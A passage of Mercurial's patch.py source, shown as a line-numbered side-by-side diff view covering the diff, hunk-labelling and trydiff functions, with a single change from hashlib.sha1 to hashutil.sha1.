2499 losedatafn=None,
2500 pathfn=None,
2500 pathfn=None,
2501 copy=None,
2501 copy=None,
2502 copysourcematch=None,
2502 copysourcematch=None,
2503 hunksfilterfn=None,
2503 hunksfilterfn=None,
2504 ):
2504 ):
2505 '''yields diff of changes to files between two nodes, or node and
2505 '''yields diff of changes to files between two nodes, or node and
2506 working directory.
2506 working directory.
2507
2507
2508 if node1 is None, use first dirstate parent instead.
2508 if node1 is None, use first dirstate parent instead.
2509 if node2 is None, compare node1 with working directory.
2509 if node2 is None, compare node1 with working directory.
2510
2510
2511 losedatafn(**kwarg) is a callable run when opts.upgrade=True and
2511 losedatafn(**kwarg) is a callable run when opts.upgrade=True and
2512 every time some change cannot be represented with the current
2512 every time some change cannot be represented with the current
2513 patch format. Return False to upgrade to git patch format, True to
2513 patch format. Return False to upgrade to git patch format, True to
2514 accept the loss or raise an exception to abort the diff. It is
2514 accept the loss or raise an exception to abort the diff. It is
2515 called with the name of current file being diffed as 'fn'. If set
2515 called with the name of current file being diffed as 'fn'. If set
2516 to None, patches will always be upgraded to git format when
2516 to None, patches will always be upgraded to git format when
2517 necessary.
2517 necessary.
2518
2518
2519 prefix is a filename prefix that is prepended to all filenames on
2519 prefix is a filename prefix that is prepended to all filenames on
2520 display (used for subrepos).
2520 display (used for subrepos).
2521
2521
2522 relroot, if not empty, must be normalized with a trailing /. Any match
2522 relroot, if not empty, must be normalized with a trailing /. Any match
2523 patterns that fall outside it will be ignored.
2523 patterns that fall outside it will be ignored.
2524
2524
2525 copy, if not empty, should contain mappings {dst@y: src@x} of copy
2525 copy, if not empty, should contain mappings {dst@y: src@x} of copy
2526 information.
2526 information.
2527
2527
2528 if copysourcematch is not None, then copy sources will be filtered by this
2528 if copysourcematch is not None, then copy sources will be filtered by this
2529 matcher
2529 matcher
2530
2530
2531 hunksfilterfn, if not None, should be a function taking a filectx and
2531 hunksfilterfn, if not None, should be a function taking a filectx and
2532 hunks generator that may yield filtered hunks.
2532 hunks generator that may yield filtered hunks.
2533 '''
2533 '''
2534 if not node1 and not node2:
2534 if not node1 and not node2:
2535 node1 = repo.dirstate.p1()
2535 node1 = repo.dirstate.p1()
2536
2536
2537 ctx1 = repo[node1]
2537 ctx1 = repo[node1]
2538 ctx2 = repo[node2]
2538 ctx2 = repo[node2]
2539
2539
2540 for fctx1, fctx2, hdr, hunks in diffhunks(
2540 for fctx1, fctx2, hdr, hunks in diffhunks(
2541 repo,
2541 repo,
2542 ctx1=ctx1,
2542 ctx1=ctx1,
2543 ctx2=ctx2,
2543 ctx2=ctx2,
2544 match=match,
2544 match=match,
2545 changes=changes,
2545 changes=changes,
2546 opts=opts,
2546 opts=opts,
2547 losedatafn=losedatafn,
2547 losedatafn=losedatafn,
2548 pathfn=pathfn,
2548 pathfn=pathfn,
2549 copy=copy,
2549 copy=copy,
2550 copysourcematch=copysourcematch,
2550 copysourcematch=copysourcematch,
2551 ):
2551 ):
2552 if hunksfilterfn is not None:
2552 if hunksfilterfn is not None:
2553 # If the file has been removed, fctx2 is None; but this should
2553 # If the file has been removed, fctx2 is None; but this should
2554 # not occur here since we catch removed files early in
2554 # not occur here since we catch removed files early in
2555 # logcmdutil.getlinerangerevs() for 'hg log -L'.
2555 # logcmdutil.getlinerangerevs() for 'hg log -L'.
2556 assert (
2556 assert (
2557 fctx2 is not None
2557 fctx2 is not None
2558 ), b'fctx2 unexpectly None in diff hunks filtering'
2558 ), b'fctx2 unexpectly None in diff hunks filtering'
2559 hunks = hunksfilterfn(fctx2, hunks)
2559 hunks = hunksfilterfn(fctx2, hunks)
2560 text = b''.join(sum((list(hlines) for hrange, hlines in hunks), []))
2560 text = b''.join(sum((list(hlines) for hrange, hlines in hunks), []))
2561 if hdr and (text or len(hdr) > 1):
2561 if hdr and (text or len(hdr) > 1):
2562 yield b'\n'.join(hdr) + b'\n'
2562 yield b'\n'.join(hdr) + b'\n'
2563 if text:
2563 if text:
2564 yield text
2564 yield text
2565
2565
2566
2566
2567 def diffhunks(
2567 def diffhunks(
2568 repo,
2568 repo,
2569 ctx1,
2569 ctx1,
2570 ctx2,
2570 ctx2,
2571 match=None,
2571 match=None,
2572 changes=None,
2572 changes=None,
2573 opts=None,
2573 opts=None,
2574 losedatafn=None,
2574 losedatafn=None,
2575 pathfn=None,
2575 pathfn=None,
2576 copy=None,
2576 copy=None,
2577 copysourcematch=None,
2577 copysourcematch=None,
2578 ):
2578 ):
2579 """Yield diff of changes to files in the form of (`header`, `hunks`) tuples
2579 """Yield diff of changes to files in the form of (`header`, `hunks`) tuples
2580 where `header` is a list of diff headers and `hunks` is an iterable of
2580 where `header` is a list of diff headers and `hunks` is an iterable of
2581 (`hunkrange`, `hunklines`) tuples.
2581 (`hunkrange`, `hunklines`) tuples.
2582
2582
2583 See diff() for the meaning of parameters.
2583 See diff() for the meaning of parameters.
2584 """
2584 """
2585
2585
2586 if opts is None:
2586 if opts is None:
2587 opts = mdiff.defaultopts
2587 opts = mdiff.defaultopts
2588
2588
2589 def lrugetfilectx():
2589 def lrugetfilectx():
2590 cache = {}
2590 cache = {}
2591 order = collections.deque()
2591 order = collections.deque()
2592
2592
2593 def getfilectx(f, ctx):
2593 def getfilectx(f, ctx):
2594 fctx = ctx.filectx(f, filelog=cache.get(f))
2594 fctx = ctx.filectx(f, filelog=cache.get(f))
2595 if f not in cache:
2595 if f not in cache:
2596 if len(cache) > 20:
2596 if len(cache) > 20:
2597 del cache[order.popleft()]
2597 del cache[order.popleft()]
2598 cache[f] = fctx.filelog()
2598 cache[f] = fctx.filelog()
2599 else:
2599 else:
2600 order.remove(f)
2600 order.remove(f)
2601 order.append(f)
2601 order.append(f)
2602 return fctx
2602 return fctx
2603
2603
2604 return getfilectx
2604 return getfilectx
2605
2605
2606 getfilectx = lrugetfilectx()
2606 getfilectx = lrugetfilectx()
2607
2607
2608 if not changes:
2608 if not changes:
2609 changes = ctx1.status(ctx2, match=match)
2609 changes = ctx1.status(ctx2, match=match)
2610 if isinstance(changes, list):
2610 if isinstance(changes, list):
2611 modified, added, removed = changes[:3]
2611 modified, added, removed = changes[:3]
2612 else:
2612 else:
2613 modified, added, removed = (
2613 modified, added, removed = (
2614 changes.modified,
2614 changes.modified,
2615 changes.added,
2615 changes.added,
2616 changes.removed,
2616 changes.removed,
2617 )
2617 )
2618
2618
2619 if not modified and not added and not removed:
2619 if not modified and not added and not removed:
2620 return []
2620 return []
2621
2621
2622 if repo.ui.debugflag:
2622 if repo.ui.debugflag:
2623 hexfunc = hex
2623 hexfunc = hex
2624 else:
2624 else:
2625 hexfunc = short
2625 hexfunc = short
2626 revs = [hexfunc(node) for node in [ctx1.node(), ctx2.node()] if node]
2626 revs = [hexfunc(node) for node in [ctx1.node(), ctx2.node()] if node]
2627
2627
2628 if copy is None:
2628 if copy is None:
2629 copy = {}
2629 copy = {}
2630 if opts.git or opts.upgrade:
2630 if opts.git or opts.upgrade:
2631 copy = copies.pathcopies(ctx1, ctx2, match=match)
2631 copy = copies.pathcopies(ctx1, ctx2, match=match)
2632
2632
2633 if copysourcematch:
2633 if copysourcematch:
2634 # filter out copies where source side isn't inside the matcher
2634 # filter out copies where source side isn't inside the matcher
2635 # (copies.pathcopies() already filtered out the destination)
2635 # (copies.pathcopies() already filtered out the destination)
2636 copy = {
2636 copy = {
2637 dst: src
2637 dst: src
2638 for dst, src in pycompat.iteritems(copy)
2638 for dst, src in pycompat.iteritems(copy)
2639 if copysourcematch(src)
2639 if copysourcematch(src)
2640 }
2640 }
2641
2641
2642 modifiedset = set(modified)
2642 modifiedset = set(modified)
2643 addedset = set(added)
2643 addedset = set(added)
2644 removedset = set(removed)
2644 removedset = set(removed)
2645 for f in modified:
2645 for f in modified:
2646 if f not in ctx1:
2646 if f not in ctx1:
2647 # Fix up added, since merged-in additions appear as
2647 # Fix up added, since merged-in additions appear as
2648 # modifications during merges
2648 # modifications during merges
2649 modifiedset.remove(f)
2649 modifiedset.remove(f)
2650 addedset.add(f)
2650 addedset.add(f)
2651 for f in removed:
2651 for f in removed:
2652 if f not in ctx1:
2652 if f not in ctx1:
2653 # Merged-in additions that are then removed are reported as removed.
2653 # Merged-in additions that are then removed are reported as removed.
2654 # They are not in ctx1, so We don't want to show them in the diff.
2654 # They are not in ctx1, so We don't want to show them in the diff.
2655 removedset.remove(f)
2655 removedset.remove(f)
2656 modified = sorted(modifiedset)
2656 modified = sorted(modifiedset)
2657 added = sorted(addedset)
2657 added = sorted(addedset)
2658 removed = sorted(removedset)
2658 removed = sorted(removedset)
2659 for dst, src in list(copy.items()):
2659 for dst, src in list(copy.items()):
2660 if src not in ctx1:
2660 if src not in ctx1:
2661 # Files merged in during a merge and then copied/renamed are
2661 # Files merged in during a merge and then copied/renamed are
2662 # reported as copies. We want to show them in the diff as additions.
2662 # reported as copies. We want to show them in the diff as additions.
2663 del copy[dst]
2663 del copy[dst]
2664
2664
2665 prefetchmatch = scmutil.matchfiles(
2665 prefetchmatch = scmutil.matchfiles(
2666 repo, list(modifiedset | addedset | removedset)
2666 repo, list(modifiedset | addedset | removedset)
2667 )
2667 )
2668 scmutil.prefetchfiles(repo, [ctx1.rev(), ctx2.rev()], prefetchmatch)
2668 scmutil.prefetchfiles(repo, [ctx1.rev(), ctx2.rev()], prefetchmatch)
2669
2669
2670 def difffn(opts, losedata):
2670 def difffn(opts, losedata):
2671 return trydiff(
2671 return trydiff(
2672 repo,
2672 repo,
2673 revs,
2673 revs,
2674 ctx1,
2674 ctx1,
2675 ctx2,
2675 ctx2,
2676 modified,
2676 modified,
2677 added,
2677 added,
2678 removed,
2678 removed,
2679 copy,
2679 copy,
2680 getfilectx,
2680 getfilectx,
2681 opts,
2681 opts,
2682 losedata,
2682 losedata,
2683 pathfn,
2683 pathfn,
2684 )
2684 )
2685
2685
2686 if opts.upgrade and not opts.git:
2686 if opts.upgrade and not opts.git:
2687 try:
2687 try:
2688
2688
2689 def losedata(fn):
2689 def losedata(fn):
2690 if not losedatafn or not losedatafn(fn=fn):
2690 if not losedatafn or not losedatafn(fn=fn):
2691 raise GitDiffRequired
2691 raise GitDiffRequired
2692
2692
2693 # Buffer the whole output until we are sure it can be generated
2693 # Buffer the whole output until we are sure it can be generated
2694 return list(difffn(opts.copy(git=False), losedata))
2694 return list(difffn(opts.copy(git=False), losedata))
2695 except GitDiffRequired:
2695 except GitDiffRequired:
2696 return difffn(opts.copy(git=True), None)
2696 return difffn(opts.copy(git=True), None)
2697 else:
2697 else:
2698 return difffn(opts, None)
2698 return difffn(opts, None)
2699
2699
2700
2700
2701 def diffsinglehunk(hunklines):
2701 def diffsinglehunk(hunklines):
2702 """yield tokens for a list of lines in a single hunk"""
2702 """yield tokens for a list of lines in a single hunk"""
2703 for line in hunklines:
2703 for line in hunklines:
2704 # chomp
2704 # chomp
2705 chompline = line.rstrip(b'\r\n')
2705 chompline = line.rstrip(b'\r\n')
2706 # highlight tabs and trailing whitespace
2706 # highlight tabs and trailing whitespace
2707 stripline = chompline.rstrip()
2707 stripline = chompline.rstrip()
2708 if line.startswith(b'-'):
2708 if line.startswith(b'-'):
2709 label = b'diff.deleted'
2709 label = b'diff.deleted'
2710 elif line.startswith(b'+'):
2710 elif line.startswith(b'+'):
2711 label = b'diff.inserted'
2711 label = b'diff.inserted'
2712 else:
2712 else:
2713 raise error.ProgrammingError(b'unexpected hunk line: %s' % line)
2713 raise error.ProgrammingError(b'unexpected hunk line: %s' % line)
2714 for token in tabsplitter.findall(stripline):
2714 for token in tabsplitter.findall(stripline):
2715 if token.startswith(b'\t'):
2715 if token.startswith(b'\t'):
2716 yield (token, b'diff.tab')
2716 yield (token, b'diff.tab')
2717 else:
2717 else:
2718 yield (token, label)
2718 yield (token, label)
2719
2719
2720 if chompline != stripline:
2720 if chompline != stripline:
2721 yield (chompline[len(stripline) :], b'diff.trailingwhitespace')
2721 yield (chompline[len(stripline) :], b'diff.trailingwhitespace')
2722 if chompline != line:
2722 if chompline != line:
2723 yield (line[len(chompline) :], b'')
2723 yield (line[len(chompline) :], b'')
2724
2724
2725
2725
2726 def diffsinglehunkinline(hunklines):
2726 def diffsinglehunkinline(hunklines):
2727 """yield tokens for a list of lines in a single hunk, with inline colors"""
2727 """yield tokens for a list of lines in a single hunk, with inline colors"""
2728 # prepare deleted, and inserted content
2728 # prepare deleted, and inserted content
2729 a = b''
2729 a = b''
2730 b = b''
2730 b = b''
2731 for line in hunklines:
2731 for line in hunklines:
2732 if line[0:1] == b'-':
2732 if line[0:1] == b'-':
2733 a += line[1:]
2733 a += line[1:]
2734 elif line[0:1] == b'+':
2734 elif line[0:1] == b'+':
2735 b += line[1:]
2735 b += line[1:]
2736 else:
2736 else:
2737 raise error.ProgrammingError(b'unexpected hunk line: %s' % line)
2737 raise error.ProgrammingError(b'unexpected hunk line: %s' % line)
2738 # fast path: if either side is empty, use diffsinglehunk
2738 # fast path: if either side is empty, use diffsinglehunk
2739 if not a or not b:
2739 if not a or not b:
2740 for t in diffsinglehunk(hunklines):
2740 for t in diffsinglehunk(hunklines):
2741 yield t
2741 yield t
2742 return
2742 return
2743 # re-split the content into words
2743 # re-split the content into words
2744 al = wordsplitter.findall(a)
2744 al = wordsplitter.findall(a)
2745 bl = wordsplitter.findall(b)
2745 bl = wordsplitter.findall(b)
2746 # re-arrange the words to lines since the diff algorithm is line-based
2746 # re-arrange the words to lines since the diff algorithm is line-based
2747 aln = [s if s == b'\n' else s + b'\n' for s in al]
2747 aln = [s if s == b'\n' else s + b'\n' for s in al]
2748 bln = [s if s == b'\n' else s + b'\n' for s in bl]
2748 bln = [s if s == b'\n' else s + b'\n' for s in bl]
2749 an = b''.join(aln)
2749 an = b''.join(aln)
2750 bn = b''.join(bln)
2750 bn = b''.join(bln)
2751 # run the diff algorithm, prepare atokens and btokens
2751 # run the diff algorithm, prepare atokens and btokens
2752 atokens = []
2752 atokens = []
2753 btokens = []
2753 btokens = []
2754 blocks = mdiff.allblocks(an, bn, lines1=aln, lines2=bln)
2754 blocks = mdiff.allblocks(an, bn, lines1=aln, lines2=bln)
2755 for (a1, a2, b1, b2), btype in blocks:
2755 for (a1, a2, b1, b2), btype in blocks:
2756 changed = btype == b'!'
2756 changed = btype == b'!'
2757 for token in mdiff.splitnewlines(b''.join(al[a1:a2])):
2757 for token in mdiff.splitnewlines(b''.join(al[a1:a2])):
2758 atokens.append((changed, token))
2758 atokens.append((changed, token))
2759 for token in mdiff.splitnewlines(b''.join(bl[b1:b2])):
2759 for token in mdiff.splitnewlines(b''.join(bl[b1:b2])):
2760 btokens.append((changed, token))
2760 btokens.append((changed, token))
2761
2761
2762 # yield deleted tokens, then inserted ones
2762 # yield deleted tokens, then inserted ones
2763 for prefix, label, tokens in [
2763 for prefix, label, tokens in [
2764 (b'-', b'diff.deleted', atokens),
2764 (b'-', b'diff.deleted', atokens),
2765 (b'+', b'diff.inserted', btokens),
2765 (b'+', b'diff.inserted', btokens),
2766 ]:
2766 ]:
2767 nextisnewline = True
2767 nextisnewline = True
2768 for changed, token in tokens:
2768 for changed, token in tokens:
2769 if nextisnewline:
2769 if nextisnewline:
2770 yield (prefix, label)
2770 yield (prefix, label)
2771 nextisnewline = False
2771 nextisnewline = False
2772 # special handling line end
2772 # special handling line end
2773 isendofline = token.endswith(b'\n')
2773 isendofline = token.endswith(b'\n')
2774 if isendofline:
2774 if isendofline:
2775 chomp = token[:-1] # chomp
2775 chomp = token[:-1] # chomp
2776 if chomp.endswith(b'\r'):
2776 if chomp.endswith(b'\r'):
2777 chomp = chomp[:-1]
2777 chomp = chomp[:-1]
2778 endofline = token[len(chomp) :]
2778 endofline = token[len(chomp) :]
2779 token = chomp.rstrip() # detect spaces at the end
2779 token = chomp.rstrip() # detect spaces at the end
2780 endspaces = chomp[len(token) :]
2780 endspaces = chomp[len(token) :]
2781 # scan tabs
2781 # scan tabs
2782 for maybetab in tabsplitter.findall(token):
2782 for maybetab in tabsplitter.findall(token):
2783 if b'\t' == maybetab[0:1]:
2783 if b'\t' == maybetab[0:1]:
2784 currentlabel = b'diff.tab'
2784 currentlabel = b'diff.tab'
2785 else:
2785 else:
2786 if changed:
2786 if changed:
2787 currentlabel = label + b'.changed'
2787 currentlabel = label + b'.changed'
2788 else:
2788 else:
2789 currentlabel = label + b'.unchanged'
2789 currentlabel = label + b'.unchanged'
2790 yield (maybetab, currentlabel)
2790 yield (maybetab, currentlabel)
2791 if isendofline:
2791 if isendofline:
2792 if endspaces:
2792 if endspaces:
2793 yield (endspaces, b'diff.trailingwhitespace')
2793 yield (endspaces, b'diff.trailingwhitespace')
2794 yield (endofline, b'')
2794 yield (endofline, b'')
2795 nextisnewline = True
2795 nextisnewline = True
2796
2796
2797
2797
2798 def difflabel(func, *args, **kw):
2798 def difflabel(func, *args, **kw):
2799 '''yields 2-tuples of (output, label) based on the output of func()'''
2799 '''yields 2-tuples of (output, label) based on the output of func()'''
2800 if kw.get('opts') and kw['opts'].worddiff:
2800 if kw.get('opts') and kw['opts'].worddiff:
2801 dodiffhunk = diffsinglehunkinline
2801 dodiffhunk = diffsinglehunkinline
2802 else:
2802 else:
2803 dodiffhunk = diffsinglehunk
2803 dodiffhunk = diffsinglehunk
2804 headprefixes = [
2804 headprefixes = [
2805 (b'diff', b'diff.diffline'),
2805 (b'diff', b'diff.diffline'),
2806 (b'copy', b'diff.extended'),
2806 (b'copy', b'diff.extended'),
2807 (b'rename', b'diff.extended'),
2807 (b'rename', b'diff.extended'),
2808 (b'old', b'diff.extended'),
2808 (b'old', b'diff.extended'),
2809 (b'new', b'diff.extended'),
2809 (b'new', b'diff.extended'),
2810 (b'deleted', b'diff.extended'),
2810 (b'deleted', b'diff.extended'),
2811 (b'index', b'diff.extended'),
2811 (b'index', b'diff.extended'),
2812 (b'similarity', b'diff.extended'),
2812 (b'similarity', b'diff.extended'),
2813 (b'---', b'diff.file_a'),
2813 (b'---', b'diff.file_a'),
2814 (b'+++', b'diff.file_b'),
2814 (b'+++', b'diff.file_b'),
2815 ]
2815 ]
2816 textprefixes = [
2816 textprefixes = [
2817 (b'@', b'diff.hunk'),
2817 (b'@', b'diff.hunk'),
2818 # - and + are handled by diffsinglehunk
2818 # - and + are handled by diffsinglehunk
2819 ]
2819 ]
2820 head = False
2820 head = False
2821
2821
2822 # buffers a hunk, i.e. adjacent "-", "+" lines without other changes.
2822 # buffers a hunk, i.e. adjacent "-", "+" lines without other changes.
2823 hunkbuffer = []
2823 hunkbuffer = []
2824
2824
2825 def consumehunkbuffer():
2825 def consumehunkbuffer():
2826 if hunkbuffer:
2826 if hunkbuffer:
2827 for token in dodiffhunk(hunkbuffer):
2827 for token in dodiffhunk(hunkbuffer):
2828 yield token
2828 yield token
2829 hunkbuffer[:] = []
2829 hunkbuffer[:] = []
2830
2830
2831 for chunk in func(*args, **kw):
2831 for chunk in func(*args, **kw):
2832 lines = chunk.split(b'\n')
2832 lines = chunk.split(b'\n')
2833 linecount = len(lines)
2833 linecount = len(lines)
2834 for i, line in enumerate(lines):
2834 for i, line in enumerate(lines):
2835 if head:
2835 if head:
2836 if line.startswith(b'@'):
2836 if line.startswith(b'@'):
2837 head = False
2837 head = False
2838 else:
2838 else:
2839 if line and not line.startswith(
2839 if line and not line.startswith(
2840 (b' ', b'+', b'-', b'@', b'\\')
2840 (b' ', b'+', b'-', b'@', b'\\')
2841 ):
2841 ):
2842 head = True
2842 head = True
2843 diffline = False
2843 diffline = False
2844 if not head and line and line.startswith((b'+', b'-')):
2844 if not head and line and line.startswith((b'+', b'-')):
2845 diffline = True
2845 diffline = True
2846
2846
2847 prefixes = textprefixes
2847 prefixes = textprefixes
2848 if head:
2848 if head:
2849 prefixes = headprefixes
2849 prefixes = headprefixes
2850 if diffline:
2850 if diffline:
2851 # buffered
2851 # buffered
2852 bufferedline = line
2852 bufferedline = line
2853 if i + 1 < linecount:
2853 if i + 1 < linecount:
2854 bufferedline += b"\n"
2854 bufferedline += b"\n"
2855 hunkbuffer.append(bufferedline)
2855 hunkbuffer.append(bufferedline)
2856 else:
2856 else:
2857 # unbuffered
2857 # unbuffered
2858 for token in consumehunkbuffer():
2858 for token in consumehunkbuffer():
2859 yield token
2859 yield token
2860 stripline = line.rstrip()
2860 stripline = line.rstrip()
2861 for prefix, label in prefixes:
2861 for prefix, label in prefixes:
2862 if stripline.startswith(prefix):
2862 if stripline.startswith(prefix):
2863 yield (stripline, label)
2863 yield (stripline, label)
2864 if line != stripline:
2864 if line != stripline:
2865 yield (
2865 yield (
2866 line[len(stripline) :],
2866 line[len(stripline) :],
2867 b'diff.trailingwhitespace',
2867 b'diff.trailingwhitespace',
2868 )
2868 )
2869 break
2869 break
2870 else:
2870 else:
2871 yield (line, b'')
2871 yield (line, b'')
2872 if i + 1 < linecount:
2872 if i + 1 < linecount:
2873 yield (b'\n', b'')
2873 yield (b'\n', b'')
2874 for token in consumehunkbuffer():
2874 for token in consumehunkbuffer():
2875 yield token
2875 yield token
2876
2876
2877
2877
2878 def diffui(*args, **kw):
2878 def diffui(*args, **kw):
2879 '''like diff(), but yields 2-tuples of (output, label) for ui.write()'''
2879 '''like diff(), but yields 2-tuples of (output, label) for ui.write()'''
2880 return difflabel(diff, *args, **kw)
2880 return difflabel(diff, *args, **kw)
2881
2881
2882
2882
2883 def _filepairs(modified, added, removed, copy, opts):
2883 def _filepairs(modified, added, removed, copy, opts):
2884 '''generates tuples (f1, f2, copyop), where f1 is the name of the file
2884 '''generates tuples (f1, f2, copyop), where f1 is the name of the file
2885 before and f2 is the the name after. For added files, f1 will be None,
2885 before and f2 is the the name after. For added files, f1 will be None,
2886 and for removed files, f2 will be None. copyop may be set to None, 'copy'
2886 and for removed files, f2 will be None. copyop may be set to None, 'copy'
2887 or 'rename' (the latter two only if opts.git is set).'''
2887 or 'rename' (the latter two only if opts.git is set).'''
2888 gone = set()
2888 gone = set()
2889
2889
2890 copyto = dict([(v, k) for k, v in copy.items()])
2890 copyto = dict([(v, k) for k, v in copy.items()])
2891
2891
2892 addedset, removedset = set(added), set(removed)
2892 addedset, removedset = set(added), set(removed)
2893
2893
2894 for f in sorted(modified + added + removed):
2894 for f in sorted(modified + added + removed):
2895 copyop = None
2895 copyop = None
2896 f1, f2 = f, f
2896 f1, f2 = f, f
2897 if f in addedset:
2897 if f in addedset:
2898 f1 = None
2898 f1 = None
2899 if f in copy:
2899 if f in copy:
2900 if opts.git:
2900 if opts.git:
2901 f1 = copy[f]
2901 f1 = copy[f]
2902 if f1 in removedset and f1 not in gone:
2902 if f1 in removedset and f1 not in gone:
2903 copyop = b'rename'
2903 copyop = b'rename'
2904 gone.add(f1)
2904 gone.add(f1)
2905 else:
2905 else:
2906 copyop = b'copy'
2906 copyop = b'copy'
2907 elif f in removedset:
2907 elif f in removedset:
2908 f2 = None
2908 f2 = None
2909 if opts.git:
2909 if opts.git:
2910 # have we already reported a copy above?
2910 # have we already reported a copy above?
2911 if (
2911 if (
2912 f in copyto
2912 f in copyto
2913 and copyto[f] in addedset
2913 and copyto[f] in addedset
2914 and copy[copyto[f]] == f
2914 and copy[copyto[f]] == f
2915 ):
2915 ):
2916 continue
2916 continue
2917 yield f1, f2, copyop
2917 yield f1, f2, copyop
2918
2918
2919
2919
2920 def trydiff(
2920 def trydiff(
2921 repo,
2921 repo,
2922 revs,
2922 revs,
2923 ctx1,
2923 ctx1,
2924 ctx2,
2924 ctx2,
2925 modified,
2925 modified,
2926 added,
2926 added,
2927 removed,
2927 removed,
2928 copy,
2928 copy,
2929 getfilectx,
2929 getfilectx,
2930 opts,
2930 opts,
2931 losedatafn,
2931 losedatafn,
2932 pathfn,
2932 pathfn,
2933 ):
2933 ):
2934 '''given input data, generate a diff and yield it in blocks
2934 '''given input data, generate a diff and yield it in blocks
2935
2935
2936 If generating a diff would lose data like flags or binary data and
2936 If generating a diff would lose data like flags or binary data and
2937 losedatafn is not None, it will be called.
2937 losedatafn is not None, it will be called.
2938
2938
2939 pathfn is applied to every path in the diff output.
2939 pathfn is applied to every path in the diff output.
2940 '''
2940 '''
2941
2941
2942 def gitindex(text):
2942 def gitindex(text):
2943 if not text:
2943 if not text:
2944 text = b""
2944 text = b""
2945 l = len(text)
2945 l = len(text)
2946 s = hashlib.sha1(b'blob %d\0' % l)
2946 s = hashutil.sha1(b'blob %d\0' % l)
2947 s.update(text)
2947 s.update(text)
2948 return hex(s.digest())
2948 return hex(s.digest())
2949
2949
2950 if opts.noprefix:
2950 if opts.noprefix:
2951 aprefix = bprefix = b''
2951 aprefix = bprefix = b''
2952 else:
2952 else:
2953 aprefix = b'a/'
2953 aprefix = b'a/'
2954 bprefix = b'b/'
2954 bprefix = b'b/'
2955
2955
2956 def diffline(f, revs):
2956 def diffline(f, revs):
2957 revinfo = b' '.join([b"-r %s" % rev for rev in revs])
2957 revinfo = b' '.join([b"-r %s" % rev for rev in revs])
2958 return b'diff %s %s' % (revinfo, f)
2958 return b'diff %s %s' % (revinfo, f)
2959
2959
2960 def isempty(fctx):
2960 def isempty(fctx):
2961 return fctx is None or fctx.size() == 0
2961 return fctx is None or fctx.size() == 0
2962
2962
2963 date1 = dateutil.datestr(ctx1.date())
2963 date1 = dateutil.datestr(ctx1.date())
2964 date2 = dateutil.datestr(ctx2.date())
2964 date2 = dateutil.datestr(ctx2.date())
2965
2965
2966 gitmode = {b'l': b'120000', b'x': b'100755', b'': b'100644'}
2966 gitmode = {b'l': b'120000', b'x': b'100755', b'': b'100644'}
2967
2967
2968 if not pathfn:
2968 if not pathfn:
2969 pathfn = lambda f: f
2969 pathfn = lambda f: f
2970
2970
2971 for f1, f2, copyop in _filepairs(modified, added, removed, copy, opts):
2971 for f1, f2, copyop in _filepairs(modified, added, removed, copy, opts):
2972 content1 = None
2972 content1 = None
2973 content2 = None
2973 content2 = None
2974 fctx1 = None
2974 fctx1 = None
2975 fctx2 = None
2975 fctx2 = None
2976 flag1 = None
2976 flag1 = None
2977 flag2 = None
2977 flag2 = None
2978 if f1:
2978 if f1:
2979 fctx1 = getfilectx(f1, ctx1)
2979 fctx1 = getfilectx(f1, ctx1)
2980 if opts.git or losedatafn:
2980 if opts.git or losedatafn:
2981 flag1 = ctx1.flags(f1)
2981 flag1 = ctx1.flags(f1)
2982 if f2:
2982 if f2:
2983 fctx2 = getfilectx(f2, ctx2)
2983 fctx2 = getfilectx(f2, ctx2)
2984 if opts.git or losedatafn:
2984 if opts.git or losedatafn:
2985 flag2 = ctx2.flags(f2)
2985 flag2 = ctx2.flags(f2)
2986 # if binary is True, output "summary" or "base85", but not "text diff"
2986 # if binary is True, output "summary" or "base85", but not "text diff"
2987 if opts.text:
2987 if opts.text:
2988 binary = False
2988 binary = False
2989 else:
2989 else:
2990 binary = any(f.isbinary() for f in [fctx1, fctx2] if f is not None)
2990 binary = any(f.isbinary() for f in [fctx1, fctx2] if f is not None)
2991
2991
2992 if losedatafn and not opts.git:
2992 if losedatafn and not opts.git:
2993 if (
2993 if (
2994 binary
2994 binary
2995 or
2995 or
2996 # copy/rename
2996 # copy/rename
2997 f2 in copy
2997 f2 in copy
2998 or
2998 or
2999 # empty file creation
2999 # empty file creation
3000 (not f1 and isempty(fctx2))
3000 (not f1 and isempty(fctx2))
3001 or
3001 or
3002 # empty file deletion
3002 # empty file deletion
3003 (isempty(fctx1) and not f2)
3003 (isempty(fctx1) and not f2)
3004 or
3004 or
3005 # create with flags
3005 # create with flags
3006 (not f1 and flag2)
3006 (not f1 and flag2)
3007 or
3007 or
3008 # change flags
3008 # change flags
3009 (f1 and f2 and flag1 != flag2)
3009 (f1 and f2 and flag1 != flag2)
3010 ):
3010 ):
3011 losedatafn(f2 or f1)
3011 losedatafn(f2 or f1)
3012
3012
3013 path1 = pathfn(f1 or f2)
3013 path1 = pathfn(f1 or f2)
3014 path2 = pathfn(f2 or f1)
3014 path2 = pathfn(f2 or f1)
3015 header = []
3015 header = []
3016 if opts.git:
3016 if opts.git:
3017 header.append(
3017 header.append(
3018 b'diff --git %s%s %s%s' % (aprefix, path1, bprefix, path2)
3018 b'diff --git %s%s %s%s' % (aprefix, path1, bprefix, path2)
3019 )
3019 )
3020 if not f1: # added
3020 if not f1: # added
3021 header.append(b'new file mode %s' % gitmode[flag2])
3021 header.append(b'new file mode %s' % gitmode[flag2])
3022 elif not f2: # removed
3022 elif not f2: # removed
3023 header.append(b'deleted file mode %s' % gitmode[flag1])
3023 header.append(b'deleted file mode %s' % gitmode[flag1])
3024 else: # modified/copied/renamed
3024 else: # modified/copied/renamed
3025 mode1, mode2 = gitmode[flag1], gitmode[flag2]
3025 mode1, mode2 = gitmode[flag1], gitmode[flag2]
3026 if mode1 != mode2:
3026 if mode1 != mode2:
3027 header.append(b'old mode %s' % mode1)
3027 header.append(b'old mode %s' % mode1)
3028 header.append(b'new mode %s' % mode2)
3028 header.append(b'new mode %s' % mode2)
3029 if copyop is not None:
3029 if copyop is not None:
3030 if opts.showsimilarity:
3030 if opts.showsimilarity:
3031 sim = similar.score(ctx1[path1], ctx2[path2]) * 100
3031 sim = similar.score(ctx1[path1], ctx2[path2]) * 100
3032 header.append(b'similarity index %d%%' % sim)
3032 header.append(b'similarity index %d%%' % sim)
3033 header.append(b'%s from %s' % (copyop, path1))
3033 header.append(b'%s from %s' % (copyop, path1))
3034 header.append(b'%s to %s' % (copyop, path2))
3034 header.append(b'%s to %s' % (copyop, path2))
3035 elif revs:
3035 elif revs:
3036 header.append(diffline(path1, revs))
3036 header.append(diffline(path1, revs))
3037
3037
3038 # fctx.is | diffopts | what to | is fctx.data()
3038 # fctx.is | diffopts | what to | is fctx.data()
3039 # binary() | text nobinary git index | output? | outputted?
3039 # binary() | text nobinary git index | output? | outputted?
